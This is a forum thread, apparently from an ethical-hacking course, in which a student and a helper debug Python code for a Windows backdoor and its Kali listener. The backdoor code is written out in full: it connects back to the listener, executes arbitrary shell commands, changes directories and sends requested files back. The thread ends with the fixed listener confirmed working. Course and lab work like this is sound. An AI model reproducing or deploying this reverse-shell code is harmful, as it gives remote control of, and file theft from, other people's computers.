So i am following the course: Learn Python & Ethical Hacking From Scratch with Zaid.
And i am in the section where we setup a backdoor on our windows machine, and a listener in kali linux.
I have followed Zaid’s video 100% and this is the listener code:
#!/usr/bin/env python
import socket
import jsonclass Listener:
def __init__(self, ip, port):
listener = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
listener.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
listener.bind((ip, port))
listener.listen(0)
print(“[+] Waiting for incoming connections”)
self.connection, address = listener.accept()
print(“[+] Got a connection from ” + str(address))def reliable_send(self, data):
json_data = json.dumps(data)
self.connection.send(json_data)def reliable_receive(self):
json_data = “”
while True:
try:
json_data = json_data + self.connection.recv(1024)
return json.loads(json_data)
except ValueError:
continuedef execute_remotely(self, command):
self.reliable_send(command)
if command[0] == “exit”:
self.connection.close()
exit()return self.reliable_receive
def write_file(self, path, content):
with open(path, “wb”) as file:
file.write(content)
return “[+] Download successful.”def run(self):
while True:
command = raw_input(“>> “)
command = command.split(” “)
result = self.execute_remotely(command)
if command[0] == “download”:
result = self.write_file(command[1], result)print(result())
my_listener = Listener(“10.0.2.10”, 4444)
my_listener.run()————————————————————————————————————————————–
I had to rework **print(result())**
Otherwise it looked like this when doing system commands:
[+] Got a connection from (‘10.0.2.15’, 49848)
>> dir
**<bound method Listener.reliable_receive of <__main__.Listener instance at 0x7f7aa7776190>>**But now when i try to download a sample.txt from my windows machine i get this error:
[+] Got a connection from (‘10.0.2.15’, 49846)
>> download sample.txt
Traceback (most recent call last):
File “listener.py”, line 55, in <module>
my_listener.run()**
File “listener.py”, line 49, in run
result = self.write_file(command[1], result)
File “listener.py”, line 40, in write_file
file.write(content)
TypeError: argument 1 must be string or buffer, not instancemethodIt am stuck in this point until i can make it work! have been spending days trying to figure it out 🙁 please help
Hi CyberSamurai!
It looks like the error may be in the backdoor code.
Can you share it please? Also it would be better to share it including identation cause it’s defficult to read it this way.Thanks!
DiegoYes sir 🙂
This is the backdoor code running on my windows 10 machine.
#!/usr/bin/env python import socket import subprocess import json import os class Backdoor: def __init__(self, ip, port): self.connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self.connection.connect((ip, port)) def reliable_send(self, data): json_data = json.dumps(data) self.connection.send(json_data) def reliable_receive(self): json_data = "" while True: try: json_data = self.connection.recv(1024) return json.loads(json_data) except ValueError: continue def execute_system_command(self, command): return subprocess.check_output(command, shell=True) def change_working_directory_to(self, path): os.chdir(path) return "[+] Changing CD to " + path def read_file(self, path): with open(path, "rb") as file: return file.read() def run(self): while True: command = self.reliable_receive() if command[0] == "exit": self.connection.close() exit() elif command[0] == "cd" and len(command) > 1: command_result = self.change_working_directory_to(command[1]) elif command[0] == "download": command_result = self.read_file(command[1]) else: command_result = self.execute_system_command(command) self.reliable_send(command_result) my_backdoor = Backdoor("10.0.2.10", 4444) my_backdoor.run()Hi!
Thanks!Following both codes it results you have this line at the bottom of your listener:
print(result())
please remove the parenthesis of result. Like this print(result)
Let me know how it goes!
DiegoWhen i remove the () from print(result()). All terminal commands are like this:
root@kali:~/PycharmProjects/Malware/Backdoor# python listener.py
[+] Waiting for incoming connections
[+] Got a connection from (‘10.0.2.15’, 49834)
>> dir
<bound method Listener.reliable_receive of <__main__.Listener instance at 0x7f1b331b90f0>>
>>Hi! That’s wired. cause calling result() is like calling a function and not a variable.
Can you share the listner again but with identation please?
Also can you add a print in the reliable_recieve function just before the return:
print(json.loads(json_data))Let me know.
DiegoThis is the code 🙂 thank you for helping me out, i am a little bit stuck, cant go any further in the course.
forgot something will add more in a moment
thank you for helping me out 🙂
I still get the same:—————————————————————————
[+] Waiting for incoming connections
[+] Got a connection from (‘10.0.2.15’, 49707)

<bound method Listener.reliable_receive of <__main__.Listener instance at 0x7fa8d4aa5190>>

#!/usr/bin/env python import socket import json class Listener: def __init__(self, ip, port): listener = socket.socket(socket.AF_INET, socket.SOCK_STREAM) listener.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) listener.bind((ip, port)) listener.listen(0) print("[+] Waiting for incoming connections") self.connection, address = listener.accept() print("[+] Got a connection from " + str(address)) def reliable_send(self, data): json_data = json.dumps(data) self.connection.send(json_data) def reliable_receive(self): json_data = "" while True: try: json_data = json_data + self.connection.recv(1024) print(json.loads(json_data)) return json.loads(json_data) except ValueError: continue def execute_remotely(self, command): self.reliable_send(command) if command[0] == "exit": self.connection.close() exit() return self.reliable_receive def write_file(self, path, content): with open(path, "wb") as file: file.write(content) return "[+] Download successful." def run(self): while True: command = raw_input(">> ") command = command.split(" ") result = self.execute_remotely(command) if command[0] == "download": result = self.write_file(command[1], result()) print(result()) my_listener = Listener("10.0.2.10", 4444) my_listener.run()I end up with this result, when trying to use “download sample.txt”:

TypeError: ‘str’ object is not callableHi!
Yeah, this last issue makes more sense, it happens cause () makes python think is a function when it is a string, that’s why the error says that a string can not be callable.
Will test your code and let you know.Are you using python2 or 3 to run the code?
Greetings!
DiegoHi!
Ok! I haven’t had time to test your code yet, will come back as soon as I do it.Greetings!
DiegoHi!
Sorry to replay until now but haven’t had so much time to test your code.
Now I did it and found the error, in line “return self.reliable_receive” in execute_remotely you are missing the parenthesis, it should be like this:
return self.reliable_receive() this will make it work.Greetings!
DiegoDiego 🙂 i want to thank you with all my heart! It freakin works! 😀 😀
You dont know how many hours/days i have used to try an solve this. I am takin an exam today about cybersec, and this was going to be my master piece 🙂 so you could imagine HOW MUCH i was sweating and biting nails because i couldnt get it to work.
Thank you 🙂 MY presentation is saved!
